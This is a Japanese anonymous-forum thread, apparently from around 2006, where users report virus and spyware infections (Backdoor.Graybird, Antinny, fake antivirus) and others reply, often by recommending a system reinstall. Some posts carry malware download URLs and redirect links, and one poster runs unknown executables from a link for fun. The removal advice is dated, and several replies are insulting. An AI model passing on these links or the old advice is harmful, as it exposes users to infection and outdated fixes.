p2p関連のウイルスじゃないだろ

>>508
>>432
>恐らくLimewireで感染したウイルスの仕業ぽいんですよね

>>509
>465
>実際Limewireで感染したかどうかもわからないんですよ…orz
どういう経路でなったか不明瞭なときは、別にここでもいいんでねーの？

>恐らくLimewireで感染したウイルスの仕業ぽいんですよね
って自分で言ってるじゃん

>>507
>そもそもこの線引きを明確にする意義ってあるの？
自分から地雷原に突っ込んでいくヤツの面倒まではみない、って事だった気がする

>恐らくLimewireで感染したウイルスの仕業ぽいんですよね
と言ってるのに
>実際Limewireで感染したかどうかもわからないんですよ…orz
と、言った矢先に>466で
>症状が出始めたのはネトゲの最中でした。
って言ってるからなあ。

どういう経路で感染したのかさえ、はっきり書いてくれれば…
というか、これほど深刻な症状だと、初期化以外に直す方法なんて無いんだが。

まぁ自己責任だからねー

というか、実際のウイルスは複雑化多様化しすぎてるから、
たとえ情報をテンプレで具体的にあげてもらってもわかんないこと
多いんだよね。答えてる人間もウイルス作者じゃないんだから、
具体的な振る舞いはアンチウイルスメーカーのサイトにある情報しかわからん。
ほんとに答えはリカバリしかない。
512のいう理由をかこつけて「P2P関連のウィルスは別スレです」ってあるけど、
どっちみち対応できないんじゃん。

かと言って症状書くか書かないかでは大違い
実際書けば解決する物だってあるだろうし。
わからない場合が多いから書かなくて良いなんてのは暴論

>>516
>わからない場合が多いから書かなくて良い
そんなこといってない。
ただ、ウイルスそのものに対する情報（特にメジャーでないもの）が
少なくて、対応できない場合が多いってこといっただけ。
ウイルスの具体的活動はアンチウイルスメーカーのサイトに全て書かれてるって
わけじゃない。
P2P関連のウィルスであろうが、そうでなかろうがわからないことだらけ。
感染経路もうまく切り分けれなくなってきてる。

で、最終的になにがいいたい？

なんかこの前なんですけど、たまたまヴラクラ踏んだら、なんかワケのワカラン
ＤＬ画像が出たんです。「これﾈﾀ？」と思って、ニヤニやしてたら、なんか
「ＤＬ完了」とか出たんです。んでそのアトなんですが、迷惑メール
が来るようになったんですよ。しかもその奴がパソコンの垢だったんですよ？
これってどういうことですか？

誰か翻訳



やっぱいいや

すいません、ちょっと聞いてください。
ブラウザはモジラです。
ファイルを落とそうとクリックしたさい、今まで見たことのないメッセージが表示されたんです。
認証番号が合わない（うろ覚え）、このページはユーザーのデータを盗み取ろうとしている可能性があるみたいなメッセージが出てきました。
これはやばいとキャンセルをしたんですが、そういう場合は実行されていないので大丈夫と考えていいんですよね。

さぁ・・・

>>518
なんか上級者ぶってみたかっただけです＞＜

すみません。教えてください

リアルタイム検索中にウイルス/スパイウェアが見つかったため、自動的に処理しました。処理の結果は次のとおりです。

.処理の結果: ウイルス感染ファイルを隔離できませんでした。このウイルスは、手動で処理する必要があります。
.
ファイル名: C:\Documents and Settings\hisashi\Local Settings\Temporary Internet Files\Content.IE5\I4UX7DGG\13[1].exe
ウイルス/スパイウェア名: TROJ_AGENT.AFW

検索かけて隔離したファイル削除だけじゃだめですか？
レジストリ削除とか怖くてできないんですが・・・
どなたか教えてください。

一時ファイルからしか出てないならそれだけで良いと思う。
しかし名前くらい隠しなよｗ

ありがとうございます

>>524
リカバリしかないだろうな

>>424
おれと同じ症状の人いないの？_|￣|○
ちなみにPlugInってフォルダ隠しファイルになってるから、あやしいんだよな・・・

でもググっても同じ症状の人いないし・・・_|￣|○

もう一度簡単に説明すると、
見た動画ファイルやテキストファイルが勝手に
"C:\Documents and Settings\All Users\Application Data\Microsoft\PlugIn"
のところにコピーされてて、しかもリンクとかじゃなくってファイル丸ごとを・・・

助けてくれ〜(;´Д`)

リカバリーすればいいけど、また発生するかもしらんし解決にならんからやはり原因知りたいっす・・・

>>528
わからないけど、
プロパティ見て、作成された時期に何かおぼえない？

そのフォルダにコピられたファイルの作成時間はそのファイルを実行した時間になってました。
ちなみに何回でも再現できますので、ほかに知りたい事があればどんどん聞いてください・・・(;´Д`)

うちにはそのフォルダ自体ないなぁ…

そのフォルダの作成時期は？
それから、動画なら動画でどのソフトで再生してもそうなるの？
普段何使ってるか知らんがWMP6.4とかでもそうなる？

あ・・・一回怪しいと思ってフォルダごと削除して、
また勝手にフォルダを作られたんで、
一番最初の作成時期はわからないっす・・・_|￣|○

動画は現在確認されてるものではWindows Media　Player１０とReal Playerです。
ちなみに普通のテキストファイル（秀丸で開いたもの）もそのフォルダにコピーされます・・・
あとHtmlファイルなどもありました・・・

じゃあ地道に探してみますかね

msconfigのスタートアップタブ開いて現状のチェックあるなしの状態をメモしとく
そんで上半分のチェックをはずす
再起動して症状出るか試す
これで症状でなければ犯人はチェックはずした中にいるし
再現すれば残りの項目の中にいる
犯人のいるほうをさらに半分に分けてもう一回
…以下繰り返しでどの項目があると症状が出るか確定する

これやってるときは無防備になるんでネットは切断してな

ふむふむ
やってみます〜

>533
HijackThisのO04=HKLM_...Runじゃないの？

すみません…ワームに感染したようです。まずどうしたら良いのでしょうか？お願いします；
再セットアップをしてからしばらくウィルスバスターをインストールしてませんでした…。

>>536
まずは>>1のテンプレ埋めてくれ
お前さんがどんな環境にあって何にかかったのかもわからんでは
まともな返答は期待できんよ

まずＸＰを使っています。アップデートは時々しています。ＷＯＲＭ ＲＢＯＴ ＣＷＯという名前のが３つ有り、で、その感染したファイルは発見できませんでした。
…という感じでは駄目でしょうか？

>>538
>>1

ごめんなさい。相方がなんとかやってくれて大丈夫そうです。
勉強し直してきます。

>>533
>>535

犯人がわかりました〜〜〜〜〜
まさかそいつが犯人だったとは・・・(;´Д`)
犯人は
C:\WINDOWS\System32\hkcmd.exe
です。
結構普通にあるものなので怪しいとは思わなかった・・・
最後まで信じてたのに〜〜〜(T-T )( T-T) ウルウル

たぶんなんかの拍子で改ざんされたのかな・・・
まあ、別になくてもいいようなもんなのでHijackThisを使って消します。

ありがとうございました〜m(__)m

>538
今言えることは、アップデートしているのになんでRBOTに感染するのか。

http://www.vipper.net/vip50124.zip.html

すみません。途中発射しました。
上のはなんですか？

>>543-544
ここで聞いてみて
http://etc3.2ch.net/test/read.cgi/entrance/1150289231/

>>544
50124以外に50126、50128、50130に似たようなような奴が
あったのでついでに実行してみた

50124と50126のvip.exeはエラー吐いて上手く動かなかった
50128と50130はデスクトップに中身が空のフォルダを永遠に生成し続ける迷惑ファイル
50130の方は実行後窓がすぐに消えてしまうのでプロセス殺して止めた

まぁ実行して得のあるものじゃないと思われ
心配ならもっと詳しい奴に聞いてみれ

今見たら50132に掃除機.exeがあったのでこれも実行

窓が開いて数字のカウンターが増えていく
と、同時にさっきデスクトップに作られた空のフォルダが削除された

とりあえず連中の考える事はよくわからん

mixiの“チェーン日記”でワーム感染が拡大
ttp://headlines.yahoo.co.jp/hl?a=20060621-00000034-zdn_n-sci
問題の日記は、「『ぼくはまちちゃん！』というタイトルの日記にコメントすると、
自分の日記にも自動的に同じ内容の記事が投稿され、メールや本名などの個人情報が漏洩する。
これはワームという名のウイルスで、mixi管理者でも対応できないほどのスピードで繁殖を繰り返している。

NOD32の体験版を入れていたけど、感染してしまったです。orz
自分ではちゃんとしていたつもりでも、用心が足りなかったのかな・・・・。
悔しいのでマルチ。

age

あるスレッドにあった、次の書き込みの「省略されました・・・」をクリックすると
ノートンが Bloodhound.Exploit.6　のウィルス検地しやがります。
色々文字列いじってみたんですが、名前がこれで、書き込みありで、省略された時のみ
出るみたいです。これって何？（次投稿参照）

>>548
ttp://news.goo.ne.jp/news/rbb/it/20060621/31683-rbb.html
mixi、「『ぼくはまちちゃん！』はウイルス」とのデマに注意を呼びかけ

mixiは、特定のURLをクリックするだけでウイルスに感染したり個人情報が漏えいする、
とのデマに対して注意を呼びかけている。

このデマは、特定のURLをクリックするとタイトルが「ぼくはまちちゃん！」となった日記が
作成されてしまう現象が6月18日に発生したことが発端。
この現象だが、すぐに原因が特定され1時間後に対応を完了した。

死死死死死▼死死死死死死死死▼▼▼鬱死死死死死死死死
死死死死死■■▼鬱死死死死死▼■▼鬱死死死死死死死死
死死死死▼■■鬱死死死死死死■■▼鬱死死死死死死死死
死死死▼■■▼鬱死死死死死▼■■▼▼▼▼■■▼鬱鬱死
死死死■■■鬱鬱▼▼死死死▼■■■■■■■■■▼鬱死
死▼▼■■▼鬱▼■■▼鬱▼■■▼▼▼▼▼■■■鬱鬱死
▼■■■■▼▼■■▼鬱鬱▼■■■鬱鬱鬱▼■■▼鬱死死
▼■■■■▼▼■▼鬱鬱▼■■▼■▼死▼■■■鬱鬱死死
死▼■■■■■■▼鬱▼■■▼▼■■▼■■■▼鬱死死死
死死▼■■■■▼▼鬱▼■▼鬱鬱▼■■■■▼鬱鬱死死死
死死死▼■■▼▼■▼鬱▼鬱死死鬱▼■■■鬱鬱死死死死
死死死▼■■鬱鬱■■▼鬱死死死死▼■■▼▼鬱死死死死
▼▼▼■■■▼■■■■▼死死▼▼■■■■■▼鬱鬱鬱死
■■■■■■■■▼■■▼▼■■■■▼■■■■■■▼▼
■■▼▼▼■■鬱鬱▼▼■■■■▼▼鬱鬱▼■■■■■▼
▼▼▼鬱鬱■■鬱▼▼▼■■■▼▼■▼▼▼▼■■■■▼
鬱■■■▼■■▼■■▼■■▼鬱▼■■■■▼▼▼▼▼鬱
死■■■▼■■▼■■▼▼▼鬱鬱▼■■■■■■▼鬱鬱鬱
死■■■▼■■鬱▼■■鬱鬱鬱死鬱▼▼■■■■▼鬱死死
▼■■■鬱■■鬱▼■■▼鬱死▼鬱鬱鬱▼■■▼鬱鬱死死
▼■■■鬱■■鬱死■■▼鬱▼■■▼▼▼鬱鬱鬱鬱死死死
▼■■▼鬱■■鬱死■■▼鬱▼■■■■■▼▼鬱鬱鬱鬱死
▼■■▼鬱■■鬱死▼▼鬱鬱▼■■■■■■■■▼▼鬱死
▼■■▼鬱■■鬱死鬱鬱鬱鬱鬱▼▼■■■■■■■▼鬱死
死鬱鬱鬱鬱■■鬱死死死死死鬱鬱鬱鬱▼■■■■■▼鬱死
死死死死死■■鬱死死死死死死死死鬱鬱鬱▼▼▼▼鬱鬱死

糞スレ立てるな池沼がハッキングして殺されたいか？

>>552が、そのウィルス警告が出るやつです

>>552
ノートンがvbsウィルスのソースに誤反応３
http://pc7.2ch.net/test/read.cgi/pcqa/1109609938/逝け

【使用OS】　XP
【WindowsUpdateしてるか】　している
【AntiVirusは何を使っているか】　avast!
【ちゃんとUpdateしてるか】 していない
【スキャンした結果（ウイルス名・発見場所）】　Win32:Spyware-gen(トロイの木馬)
【場所】c:\program files\newdotnet\newdotnet7_22.dll
　　　　 c:\progra~1\newdot~1\newdot~2.dll

【症状を具体的に、分かる限りすべて書く】　今のところ症状はない
【何をしたらそんなことになったのか】　掲示板で踏んでしまった
【これまでにとった措置】　チェストに入れようとしても、別のプロセスが使用中です。と移せない
【その他の質問】　削除したらネットに繋がらなくなったので、
復元して戻したんですけどこのまま放置してても平気ですかね？

お願いします

>>555
ここのオンラインスキャンで駆除できる

ttp://www.spywareguide.com/

【使用OS】XP

【WindowsUpdateしてるか】しています

【AntiVirusは何を使っているか】Symantec AntiVirus

【ちゃんとUpdateしてるか】していません
【スキャンした結果】WScript.Kak.Worm

【場所】Documents and Settings\Owner\Local
Settings\Temporary\Internet Files\Content.IE5\2T1QBQHW\

【症状を具体的に、分かる限りすべて書く】今のところ症状はありません

【何をしたらそんなことになったのか】2ちゃんねるの掲示板で踏んでしまいました

【これまでにとった措置】クリーニングをしようとしたら、エラーが出て来てしまいました

【その他の質問】ウイルスに感染するのは初めてで、どの様に対処をしたらよいのか全然わかりません。
危険なウイルスなのでしょうか…？

よろしくお願い致します。

初心者はPC初心者板行けよ

ノートンがvbsウィルスのソースに誤反応３
http://pc7.2ch.net/test/read.cgi/pcqa/1109609938/

Symantec AntiVirusって脆弱性があるんじゃなかったっけ
Updateしといたほうがええで

winantivirusにひっかかってしまいました。
ですがwinantivirusを最後までダウンロード・インストールせずに済みました。
けれど、パソコンを立ち上げる度に、「winantivirusをインストールしますか？」という警告が出ます。
いつもキャンセルをクリックし、何事もないのですが、
この警告を出さないようにするためにはどうすれば良いのでしょうか？
この警告が出るということはすでにwinantivirusに感染しているということでしょうか？

【使用OS】XP

【WindowsUpdateしてるか】しています

【AntiVirusは何を使っているか】McAfee

【ちゃんとUpdateしてるか】しています

【スキャンした結果】なにも検出されず

【症状を具体的に、分かる限りすべて書く】今のところ重くなるなどの動作は何もありません。

【何をしたらそんなことになったのか】winantivirusにひっかかってしまいました。

【これまでにとった措置】
マカフィーがピコピコうるさかったので結局ダウンロード・インストールしませんでした。
ネットでwinantivirusで検索したところ対処方法は「プログラムの追加と削除」を開き
winantivirusのプログラムを削除すると書いてありましたが、
上に書いたように途中で止めたので「プログラムの追加と削除」にはこのwinantivirusのプログラムはありませんでした。

よろしくお願い致します。

>>560
少なくてもActiveX（Downloaded Program Files）は居残っている状態なわけだ。
対処法はここみてみなさいな
ｈｔｔｐ://www.higaitaisaku.com/removewinfixer.html
ｈｔｔｐ://hjdb.higaitaisaku.com/database.cgi?cmd=dp&num=467

>>556
ありがとうございます！

>>561
返答ありがとうございます。
そのサイトは昨日も見たのですが、いかんせんそのActiveX（Downloaded Program Files）がどこにあるのかわからないのです。
「Spybot S&D 1.4によるスパイウェアの除去方法」をしてみたらいいのでしょうか？

駆除方法の
Downloaded Program Filesフォルダ内の詳細を見る方法

は見たか？

>>564
見ました。
セミコロンも入れました。でもないんですよ。

専用スレあるだろうが

WinAntiVirus Pro 2006
http://pc8.2ch.net/test/read.cgi/sec/1143972325/

>>566
ありがとうございます。

すいません質問です。
２ｃｈのこのページの入るだけでウィルスに感染してしまいます。いつもノートンが駆除しています。
これはいったいどのようなトリックになっているのでしょうか？ちなみにバスターは反応しません。
http://pc8.2ch.net/test/read.cgi/sec/1124077234/

うーん、どうしてかな

ごめんなさい、質問です。

nyのウイルスの中に自分がnyやってることをメールで送信するウイルスがあるそうですが、
そういうウイルスがメールを送信する前にウイルスを素早くＰＣ内から削除しておけば（リカバリしました）、
今後メールを送られる心配はないのでしょうか？
もしウイルスに掛かってた場合個人情報がnyに流れたらもう仕方ないとは思いますが、
メールを送られるのは耐え難いと思い質問しました。今のところ友人からも誰も不審なメールが来たという報告は受けないのですが…。

【使用OS】XP
【WindowsUpdateしてるか】してる
【AntiVirusは何を使っているか】ウイルスバスター
【ちゃんとUpdateしてるか】してる
【スキャンした結果（ウイルス名・発見場所）】圧縮ファイルを解凍しようとしたら、リアルタイム検索でAntinny.A、Antinny.G、PE Patrite.Aを検出しましたが、感染する前に隔離・駆除されました。
【別のオンラインスキャンしたならその結果は】リカバリする前にトレンドマイクロ、システマック、マカフィーでオンラインスキャンしましたが何も検出されず。
【症状を具体的に、分かる限りすべて書く】様々な感染確認方法を試みましたが異常は発見されず。ただ、winnyはすぐに捨ててしまい、upフォルダができていたかどうか確認できませんでした。
【何をしたらそんなことになったのか】ウイルスに感染したかどうかわからないのですが、もし感染していたらどうしようと心配のあまり質問しました。すいません。
【これまでにとった措置】オンラインスキャン３回、元々導入してたウイルスバスターでの手動検索２回。ネットで見た感染確認方法を頼りに感染しているか調べる。その後念のためリカバリ。hotmailのアドレスなどＰＷ全て変更。
【その他の情報】ny暦：５日
　　　　　　　　落としたファイル２１個
　　　　　　　　そのうちリアルタイム検索で検出されたファイル：３個

反省しております。どうか教えて下さい。

すいません、winny専用のスレがあったのですね。
そちらに移動します。570は見なかったことでお願いします。

XP AVG ZA spybot ad-aware
昨日突然regscanが動き出した
バックドアらしいけどビクーリした
regscanはXPにはないけどウイルスじゃないから何も反応しないんだよね
たぶんBTからだとおもう

>569（ﾟ�听）ﾂﾏﾝﾈ

無線ＬＡＮを使用しているんですが、
ブラウザ（greenbrowser）でネットのダウンロード速度とアップロード速度
を表示してると何もしてなくても頻繁に数字が0になったり数字が上がったり
してるんですがこれってスパイウェアが原因なんでしょうか？
タスクマネージャを見てもネットワーク使用率が0からわずかに上がったり
0に戻ったりしています。

【使用OS】WindowsXP SP2
【WindowsUpdateしてるか】している
【AntiVirusは何を使っているか】 以前、Norton2003で現在はウイルスバスター2006（体験版）
【ちゃんとUpdateしてるか】している
【スキャンした結果（ウイルス名・発見場所）】 見つからない
【別のオンラインスキャンしたならその結果は】 見つからない
【症状を具体的に、分かる限りすべて書く】 ActiveXが完全に機能しない
【何をしたらそんなことになったのか】 いつからかわからないが、ActiveXコントロールのインストールを必要とされるウェブページ、及びオンラインウイルススキャンやアップデータなどができなくなった。
【これまでにとった措置】
・セキュリティの問題だと思い、最低レベルまで許可したり、逆に中ぐらいでやってみたり、色々調べた。→意味なし
・IEのアップデータに不手際があったとのことで修正プログラムKB912945を導入→意味なし
・IEを6から7ベータにUP→意味がなかったので戻す
・IEの初期化、レジストリの初期化→意味なかったのでバックアップで戻す
・ウイルス、スパイウェア駆除ソフトでスキャン→意味なし
・別のユーザーアカウントで試してみる→意味なし
【その他の質問】
この症状が起こる前にインストールされたActiveXは正常に機能してますが、この症状に気付いた以降のActiveXはまったくインストールできません。
ウイルスの線が濃厚なので、この症状について詳しい人教えてください。

【使用OS】windows2000 SP4
【WindowsUpdateしてるか】自動更新してます
【AntiVirusは何を使っているか】ﾉｰﾄﾝ
【ちゃんとUpdateしてるか】自動更新してます
【ｽｷｬﾝした結果(ｳｲﾙｽ名･発見場所)】Backdoor.Graybird
C:WINNT\system32\DrivKey.DLL
【別のｵﾝﾗｲﾝｽｷｬﾝしたならその結果は】フレッツ接続ツール起動しない為試せません
【症状を具体的に､分かる限りすべて書く】禿しく重いです…。ﾀｽｸﾏﾈｰｼﾞｬすら起動しません。10分程放置するとﾀｽｸﾄﾚｲにアイコンは表示されるんですが、クリック＆ポイントには反応しません。

【何をしたらそんなことになったのか】先日YouTubeのflvを落としてたらノートンがウイルスを削除しましたとポップアップされたので、念のためにウイルススキャンを行い発見されなかったので通常終了したのですが、先程起動させてみたら上のような症状に陥りました…。

imonaからのｶｷｺなので【これまでにとった措置】と【その他の質問】は次にかかせて頂きます。連投お許し下さい…。

すみません助けて下さい。
ハウンドドッグスレに、以前から何度もウィルスらしきものが貼られます。
http://music5.2ch.net/test/read.cgi/musicjg/1151501571/l50
ノートン無効にしても、文字がおかしな表示になったりして・・・
悪質な嫌がらせと思いますが対処の方法があれば
どうか教えて下さいませ。。。

>>577

>>7
>>558

初めまして
2ヶ月ほど前に他スレでUPされていたファイルがｳｲﾙｽでそれを踏んでしまいました
翌日ノートンを購入して駆除しました
その後、マイコンピューターを開く時に｢explorer.exeがネット接続しようとしています｣という警告が出るのです
これはノートンの仕様かと思っていたのですが、どうやら違うようなのです(普通そんな警告出ないと指摘されました)
ノートンの完全チェック、ノートン&バスター&マカフィーのオンラインスキャンではウイルスは発見されませんでしたが、気持ち悪いです
このような現象を引き起こすｳｲﾙｽというのはありますか？対処方等あれば御助言下さい

他の製品に乗りかえる手もあるけどな。
フリーならこの辺が有名だよ。
http://www.grisoft.com/
軽快でヒューリスティックが優れているやつならこれが評判良いよ。
http://canon-sol.jp/product/nd/trial.html

http://pr3.cgiboy.com/S/4903137

explorerが外へつなぎに行くのもない話ではないけどな
つなごうとする先は？IPアドレスとかポートとか

あー書き忘れたがその現象が発動する条件は？
特定のフォルダ開いたときとか一定時間おきにとか

色々指摘アリガトウ御座います
>>582
ノートンの警告画面では
IPは自分のIP、ポートは0使用と出ます
>>583
出る時と出ない時があります
頻発するのはディスクトップ上のマイコンピューターを開く時とディスクトップ上にあるフォルダーを開く時です
それ以外では出た覚えはありません
頻度は2日に一度ぐらい、一度出るとその日は頻発します

無線ＬＡＮを使用しているんですが、
ブラウザ（greenbrowser）でネットのダウンロード速度とアップロード速度
を表示してると何もしてなくても頻繁に数字が0になったり数字が上がったり
してるんですがこれってスパイウェアが原因なんでしょうか？
タスクマネージャを見てもネットワーク使用率が0からわずかに上がったり
0に戻ったりしています。

おマルチ　乙

>>576です。連投になりますが続きです。何故かimonaで書き込めなくて遅くなりすみません…。

【これまでにとった措置】
セーフモードで起動してウイルススキャンした結果、発見された後に削除と表示されたので通常起動させたのですが、何も改善されず同一症状でした。
そこで再度セーフモードでスキャンしてみたところ、またしてもウイルスが発見され削除となりましたので、念のためその状態でもう一度スキャンしましたが発見されなかったので、通常起動させてみたのですが改善されませんでした…。
携帯でググってBackdoor.Graybirdについて調べてレジストリの操作で駆除を試みたのですが、記載されているレジストリ値が発見できずに断念しました…。

【その他の質問】
ウイルスに関して無知に近いのですが、シマンテックのHPによるとこのウイルスはトロイとのことですが、この症状は以前感染したワーム（名称は忘れてしまいました）の症状に似ていると思います…。大変恐縮ですがどなたかご教授よろしくお願い致します。
なお私には携帯しか手元にございませんので、ご迷惑をおかけするかと思いますがよろしくご指導願いますm(__)m

>>587
リカバリ

>>587
Backdoor.Graybirdっていっても多数の亜種があって、
各種挙動が違うし、書き換えるレジストリ値も違う。
削除は困難かも。

age

>この症状は以前感染したワーム

　おまいの頭はネットに不向きだ。pc捨ててしまえ

ルーターで繋げている２台のＰＣ、
３日ほど前＆昨日からマウスが度々（１０分に１度以上の頻度）止まるようになりました
マウスはＵＳＢで、止まった後抜き差ししたら復活します

スキャンしても何も見つかりません
これってウイルスかトロイ系の症状ですか？

>>5876
ウイルス名はBackdoor.Graybirdだけなのか
Backdoor.Graybird　A　とかBackdoor.Graybird　Bとかじゃないのか
>>589の言う通りこいつは亜種が大量にありそれぞれレジストリの書き換え方が違う
ウイルス名を正確に見直してみろ
だめだったらウイルスバスターオンラインスキャンやってみろ
バスターもGraybird亜種にはかなり対応しているようだ

アンカーミス
×　>>5876
○　>>587

>587
＞Backdoor.Graybird
＞記載されているレジストリ値が発見できずに断念しました…。

Rootkitってやつか…

こんばんは。
あるソフトを実行したところ何も反応がなかったので一応ウィルススキャンをしてみたところ検知されました。
AVASTを使っているのですがなぜ実行しようとしたときに警告が出なかったのでしょうか？
そのウィルスはチェスとへ移動しました。
（ちなみにチェストへ移動したあとそれを削除しても構わないのですか？）

PCには何の変化もないので平気なのでしょうか？
いまはこちらのツール↓
？http://www.ahnlab.co.jp/download/vdn_view.asp?num=29&pagecnt=1？

を使ってスキャンしていますが何も検出されません。

それとwinnyなどで落としたファイルの事前検知は常識ですか？

>>596
>>1

【使用OS】 ＸＰ
【WindowsUpdateしてるか】 はい
【AntiVirusは何を使っているか】 AVAST
【ちゃんとUpdateしてるか】 はい
【スキャンした結果（ウイルス名・発見場所）】 Win32/Antinny　shareから落としたフィイル
【別のオンラインスキャンしたならその結果は】 share.exe本体に反応したのですがこれは普通ですか？削除すべきですか？

PCを初めて買いました基本ソフトはXPです！オンラインショピングとかしたいので最強のセキュリティソフトの組み合わせを教えて下さい宜しくお願いします！

>>599
買い物は、お店へ財布持っていって買いましょう

オマエ死ね

exeを踏んでしまい、オンラインスキャンをしたところ『TSPY_KAKKEYS.AF』と言うのに感染してしまいました。
駆除方法がわかりません。教えてください。
【使用OS】　XP
【WindowsUpdateしてるか】　はい
【AntiVirusは何を使っているか】　avast!
【ちゃんとUpdateしてるか】　はい
【スキャンした結果（ウイルス名・発見場所）】　TSPY_KAKKEYS.AF
【別のオンラインスキャンしたならその結果は】　avastは反応せず、ウィルスバスターのオンラインスキャンしました。
【症状を具体的に、分かる限りすべて書く】　実質被害はなし、exeを踏んでしまったので、検索したらでてきました。
【何をしたらそんなことになったのか】　exeを実行した
【これまでにとった措置】　ウィルスバスターのオンラインスキャン
【その他の質問】　駆除方法をおねがいします。

>>602
バスターの体験版インスコして駆除

>>602
>>1
Winny、P2P関連のウィルスは、Download板に専門スレッドがあります

よくスレにウィルスコードを貼られて、ノートンのオートプロテクトが暴走しないように
ログのディレクトリは除外してあるのですが、ファイアーウォールの方が暴走して
サーバに接続ができなくなります。
対処方法はわかるのですが（コード解析してdat書き換えのやり方）、
これでは毎度毎度めんどうなので、どうすれば暴走しないようにできますか？

NortonAntiVirus2006使ってます。
ＯＳはWindowsXP (SP2)です。

すみませんsage忘れましたごめんなさい。

ノートンスレで聞きなよ

総合じゃないのかよ

>>73　さんと全く同じ状況なのですが、
対処方法がわからず、困っています。どうかご教授ください。

【使用OS】 Windows 2000
【WindowsUpdateしてるか】 しています
【AntiVirusは何を使っているか】 Avast!
【ちゃんとUpdateしてるか】 しています
【スキャンした結果（ウイルス名・発見場所）】 発見できず

【症状を具体的に、分かる限りすべて書く】
定期的に
tp://85.255.115.187/users/fill/web/images/rzspy.exe
tp://85.255.115.187/users/fill/web/images/idownload.exe
にアクセスし、その度にAvast!が
「ウイルスが発見されました。ダウンロードを遮断します」
と警告してくる

ファイル名：tp://85.255.115.187/users/fill/web/images/rzspy.exe
マルウェアの名・タイプ：Win32:Trojan-gen. {Other}　ウイルス/ワーム

ファイル名：tp://85.255.115.187/users/fill/web/images/idownload.exe
マルウェアの名・タイプ：Win32:Small-TG [Trj] トロイの木馬

【何をしたらそんなことになったのか】ニューススレに張られていた以下のURLをクリックしました
tp://www.google.co.jp/search?hl=ja&q=www.doubleh.fr/audio/index.htm&btnI=I%27mFeelingLucky&Ir=

【これまでにとった措置】 AvastでHDDスキャン、Spybot・Ad-awareでスキャン･駆除
　　　　　　　　　　　　 トレンドマイクロ・オンラインスキャンでHDDスキャン
【その他の質問】 特になし

友人がウイルスに感染してしまったみたいでavastのことを教え、スキャンさせています
とりあえずavastの最初のwindows起動前?のスキャンをしていますが
c\windowsはdeleteは避けできるだけリペアし、無理なら取り合えず無視して
windows起動後もう一度スキャンしてみようと伝えましたが
そのリペアできないファイルの中に
C:\WINDOWS\inet20026\killer.exe.bak　みたいなファイルがあったそうです
検索しても英語ばっかりなんですがこれはウイルスで間違いないのでしょうか？

あとc/program/commonfilesのファイルを何個か消してしまったみたいですが
これについても問題はないのでしょうか？

ちなみにwinxp,ウイルス対策ソフトなし
ウインドウズアップデートもしてるかどうか不明です。

>>609-611
リカバリ

2台PCを持っていてどぅちもウィルス対策とか入れてないんですけど
片方HDDの寿命かウィルスか何かわからない原因で逝ったので(セーフモードでも起動しない)
とりあえず今のメインPCにウィルス対策導入しようと思うんですけど
ウィルスの知識が全く無いので、まずはオンラインスキャンしてみたところ
4つのファイルが感染してました。CドライブのWINなんたらってとこだったかな
オンラインスキャンじゃ削除できないようだしこれからのことも考えてノートンかなんかに課金しようと思うんですけど
ウィルス対策って1つにお金払えば複数のPCに同時に使えますか？

入れる数だけ買え。

名目上はどのアンチウイルスも1台までだったと思うが
どうせ1つは買うんだし、使えるかどうか自分で試してみたらどうかと

>>613
615やる前にしっかり貯金をしておくんだぞ。

ウィルスソフトの知識も無いけどもちろんPCの知識もそれほど無いのですが
ウィルス対策って結構お金かかるんですか？
よくサイトとか見てもお金ためとけって書いてあるんで。
ソフトにもよると思うけどちゃんとしたセキュリティソフト継続するためには
だいたい月どれくらい喰われるんでしょうか。

大抵のウィルス対策ソフトは年契約
月いくらとかみみっちぃこと言うならフリーソフトでも使ってろ

【使用OS】Windows XP
【WindowsUpdateしてるか】しています
【AntiVirusは何を使っているか】Norton Internet Security 2004
【ちゃんとUpdateしてるか】2月まではしてました…
【スキャンした結果（ウイルス名・発見場所）】 ウィルスが検出されてからすぐに
Norton Internet Security 2006(体験版)をダウンロードしてスキャンしましたが検出されず
【別のオンラインスキャンしたならその結果は】 していません
【症状を具体的に、分かる限りすべて書く】ブラウザのトップページがかえられようとしましたが、
それを阻止しましたというNorton 2006の通知。
【何をしたらそんなことになったのか】 ２ちゃんで橋本元首相死去についてのスレを見ていたら、
急にウィルスが検出されましたとのNorton 2004の通知があり、このウィルスは修復できませんという表示がでました。
そのスレの中のレスに何かのテキストがありました。
【これまでにとった措置】 Norton2004でウィルスが検出されましたと表示されてから、
すぐにNorton2006体験版をダウンロードしウィルス定義を最新のものにし、システムの完全スキャンを行いました。
【その他の質問】 ウィルスについてまったくの無知です。。
感染したかどうかわからないのですが、どの様に対処をしたらよいのか全然わかりません。
自分なりに調べてノートントラップなのかなと思いましたがトップページがかえられようとしたので…
危険なウイルスなのでしょうか…？

よろしくお願い致します

「阻止しました」と書いてあるが・・・

>>609
親玉がいるんですよ。親玉が。

他の人にも言えることだけど、フリーでも
Avast!だけでなく、AntiVirとかAVGとかClamWinとか
他のものも使ってみたらどう？
違うウィルスだけど、AntiVir→ClamWinとやって解決したことあります。

whenuというスパイウェアに感染したのですがどのように対処したらよろしいですか？

>>622
リカバリ

ｼﾏﾝﾃｯｸのｵﾝﾗｲﾝﾁｪｯｸでxzxzxzxzxzxz.exeを検出しました。
ｷﾝｸﾞｿﾌﾄのｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ2006だとｽﾙｰするのですが、大丈夫でしょうか？

Nortonを導入すればいいのだろうけど、できることなら手動削除したいので
どなたか、ご教授のほど宜しくお願いします。

xzxzxzxzxzxz.exe の検索結果 約 96 件中 1 - 10 件目 (0.81 秒)

ｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ2006が体験版ならアンスコしてメジャーな所の体験版インスコ

age

昨日になって＞306の状況が再現された
今日になったら異常無くなった
むりやり法則を考えると月初めの第一月曜日か？
　　　　　　　　　　　　来月まで気にしてみるか

>>625 >>626
ありがとうございました。
調べたらBitDefenderのHPにそれらしきウィルスが掲載されていました。

感染成立時に投下されるexeﾌｧｲﾙは発見できませんでしたが、
ﾚｼﾞｽﾄﾘにxzxzxzxzxzxz.exeがｴﾝﾄﾘされてましたので、これを削除
その後ｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ2006をｱﾝｽｺしてBitDefender（ﾌﾘｰ版）を
導入して、ﾁｪｯｸしましたがｸﾘｰﾝでした。

こんなのでいいのかなあ・・・orz

>>629
Bitなんたらをググった
おう、とりあえずセーフだな、ソフト的には

後は使いこなすことが大事
乗り換えるのも自由だが偽ソフトをつかまないようにな

>>629
ちょっと待てBitDefenderのフリーは常駐監視しないぞ

